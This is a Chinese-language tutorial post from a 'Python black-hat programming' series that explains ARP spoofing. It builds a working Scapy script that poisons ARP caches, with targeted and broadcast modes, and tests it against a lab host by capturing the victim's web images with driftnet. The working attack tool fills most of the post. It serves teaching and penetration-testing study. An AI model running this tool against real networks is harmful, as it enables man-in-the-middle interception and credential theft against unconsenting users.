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Python黑帽编程 3.1 ARP欺骗

作者:玄魂  发布日期:2016-08-29 20:21:37
Tag标签:Python黑帽编程  3  1  ARP欺骗  
  • Python灰帽编程 3.1 ARP欺骗

    ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。

    在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理。

    3.1.1 ARP和ARP欺骗原理

    ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道二层的以太网交换设备并不能识别32位的IP地址,它们是以48位以太网地址(就是我们常说的MAC地址)传输以太网数据包的。也就是说IP数据包在局域网内部传输时并不是靠IP地址而是靠MAC地址来识别目标的,因此IP地址与MAC地址之间就必须存在一种对应关系,而ARP协议就是用来确定这种对应关系的协议。

    ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。

    局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。

    ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。

    根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种:

    1.        主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗

    2.        网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

    图2

    其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。

    了解了基本原理之后,我们下面动手实现ARP欺骗程序。

    3.1.2 基本网络信息

    首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。

    图3

    如图5所示,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。

    图4

    下面再用同样的方法查看Windows 系统的信息。

    图5

    windows本身地址为192.168.1.18,同样缓存了路由器的地址。

    下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。

    3.1.3 构造ARP欺骗数据包

    我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。

    在程序的顶部,我们先导入scapy。

    import sys

    import time

    from scapy.all import (

        get_if_hwaddr,

        getmacbyip,

        ARP,

        Ether,

        sendp

    )

    注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。

    我们先解下Ether的参数:

    图6

    dst        : DestMACField              = (None)

    src        : SourceMACField            = (None)

    type       : XShortEnumField           = (36864)

    构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如:

    图7

    再来了解下ARP类构造函数的参数列表:

    图8

    hwtype     : XShortField               = (1)

    ptype      : XShortEnumField           = (2048)

    hwlen      : ByteField                 = (6)

    plen       : ByteField                 = (4)

    op         : ShortEnumField            = (1)

    hwsrc      : ARPSourceMACField         = (None)

    psrc       : SourceIPField             = (None)

    hwdst      : MACField                  = ('00:00:00:00:00:00')

    pdst       : IPField                   = ('0.0.0.0')

    构造ARP需要我们注意的有5个参数:

    l  op。取值为1或者2,代表ARP请求或者响应包。

    l  hwsrc。发送方Mac地址。

    l  psrc。发送方IP地址。

    l  hwdst。目标Mac地址。

    l  pdst。目标IP地址。

    定向欺骗

    现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的:

    pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1.18MAC, pdst=1.18IP地址, op=2)

    上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被1. 18接到,这样1. 18会更新自己的ARP缓存表,造成中毒,从而1. 18发往网关的数据包都会被发往1.102。

    那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可:

    pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=2)

    上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。

    ARP请求的方式欺骗主机,构造的ARP包如下:

    pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)

    ARP请求的方式欺骗网关,构造的ARP包如下:

    pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=1)

    我们看到构造ARP请求和响应的主要区别在op的值。

    目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。

    广播欺骗

    广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。

    下面是ARP广播响应包的构造方式:

    pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)

    最后综合定下和广播欺骗的方式,我们总结一个公式出来:

    pkt = Ether(src=攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2))

    概念有点绕,实践出真知。

    3.1.4 发送数据包

    数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用sendp方法,该方法描述如下:

        Send packets at layer 2

        sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None

    和sendp方法类似的还有一个send方法,两个方法不同的是,sendp方法工作在第二层,send方法工作在第三层。发送构造好的数据包就很简单了:

      sendp(pkt, inter=2, iface=网卡)

    3.1.5 打造你的arpspoof

    ARP欺骗的核心内容我们已经讲完了,在Kali Linux上有一款常用的ARP欺骗工具叫arpspoof。

    图9

    (关于arpspoof的使用可以参考我的视频教程《kali linux 渗透测试初级教程》,文末有获取方法。)

    虽然我们不知道arpspoof的内部实现代码,但是我们完全可以根据目前掌握的知识,用Python来实现它。废话少说,先上代码:

    #!/usr/bin/python

     

    import os

    import sys

    import signal

     

    from scapy.all import (

        get_if_hwaddr,

        getmacbyip,

        ARP,

        Ether,

        sendp

    )

    from optparse import OptionParser

     

    def main():

        try:

            if os.geteuid() != 0:

                print '[-] Run me as root'

                sys.exit(1)

        except Exception,msg:

            print msg

     

        usage = 'Usage: %prog [-i interface] [-t target] host'

        parser = OptionParser(usage)

        parser.add_option('-i', dest='interface', help='Specify the interface to use')

        parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')

        parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

        parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

        (options, args) = parser.parse_args()

     

        if len(args) != 1 or options.interface is None:

            parser.print_help()

            sys.exit(0)

     

        mac = get_if_hwaddr(options.interface)

     

        def build_req():

            if options.target is None:

                pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

            elif options.target:

                target_mac = getmacbyip(options.target)

                if target_mac is None:

                    print '[-] Error: Could not resolve targets MAC address'

                    sys.exit(1)

                pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

     

            return pkt

     

        def build_rep():

            if options.target is None:

                pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)

            elif options.target:

                target_mac = getmacbyip(options.target)

                if target_mac is None:

                    print '[-] Error: Could not resolve targets MAC address'

                    sys.exit(1)

                pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)

     

            return pkt

     

        if options.mode == 'req':

            pkt = build_req()

        elif options.mode == 'rep':

            pkt = build_rep()

     

        if options.summary is True:

            pkt.show()

            ans = raw_input(' [*] Continue? [Y|n]: ').lower()

            if ans == 'y' or len(ans) == 0:

                pass

            else:

                sys.exit(0)

     

        while True:

            sendp(pkt, inter=2, iface=options.interface)

    if __name__ == '__main__':

        main()

    代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。

       usage = 'Usage: %prog [-i interface] [-t target] host'

        parser = OptionParser(usage)

        parser.add_option('-i', dest='interface', help='Specify the interface to use')

        parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')

        parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

        parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

        (options, args) = parser.parse_args()

     

        if len(args) != 1 or options.interface is None:

            parser.print_help()

            sys.exit(0)

    首先,我们引入了optparse模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。

    图10

    下面调用了get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。

    接下来是build_req方法,和build_rep方法,分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。

    再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。

    if options.mode == 'req':

            pkt = build_req()

        elif options.mode == 'rep':

            pkt = build_rep()

     

        if options.summary is True:

            pkt.show()

            ans = raw_input(' [*] Continue? [Y|n]: ').lower()

            if ans == 'y' or len(ans) == 0:

                pass

            else:

                sys.exit(0)

    最后是发送数据包和程序的入口。

       while True:

            sendp(pkt, inter=2, iface=options.interface)

    if __name__ == '__main__':

        main()

    程序准备妥当,我们保存源码,下面开始测试。

    3.1.6 测试

    在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令:

    sysctl net.ipv4.ip_forward=1

    图11

    下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102所在的主机。

    图12

    在打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102.

    python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18

    一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化:

    图13

    对比图13和图5我们知道arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。

    图14

    下面在1.18上随便打开几个带有图片的网页。

    图15

    在drifnet上面我们可以看到捕获的图片信息,如图16所示。

    图16

    证明我们的arp欺骗程序编写成功。

    3.1.7 在此基础上我们能做什么

    上面的测试,我们知道基于ARP欺骗我们可以做数据监听,能拿到敏感信息,能拿到凭证进行重放攻击,能进行数据篡改,结合调用和DNS欺骗做很多事情。

    关于进一步的实战利用,这里我就不展开了,在我的视频教程《Kali Linux web渗透测试基础教程》的第十四课《第14课-arp欺骗、嗅探、dns欺骗、session劫持》讲了很多实用的工具,可以在ARP欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号(在下方扫码关注)下回复“kali”,会自动回复你免费获取整套教程的方法。

    3.1.8 小结

    本节比较详细的讲解了基于Scapy进行ARP数据包构建和发送的基础知识,综合这些基础进行ARP欺骗的工具编写,最终完成了一个可用的ARP欺骗工具。

    下一节,基于本节的知识,我们编写一个ARP监控工具,来对网络上主机的ARP请求做动态的回应。

    3.2节《ARP监控》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单专栏”—>”Python黑帽编程进入即可。

     

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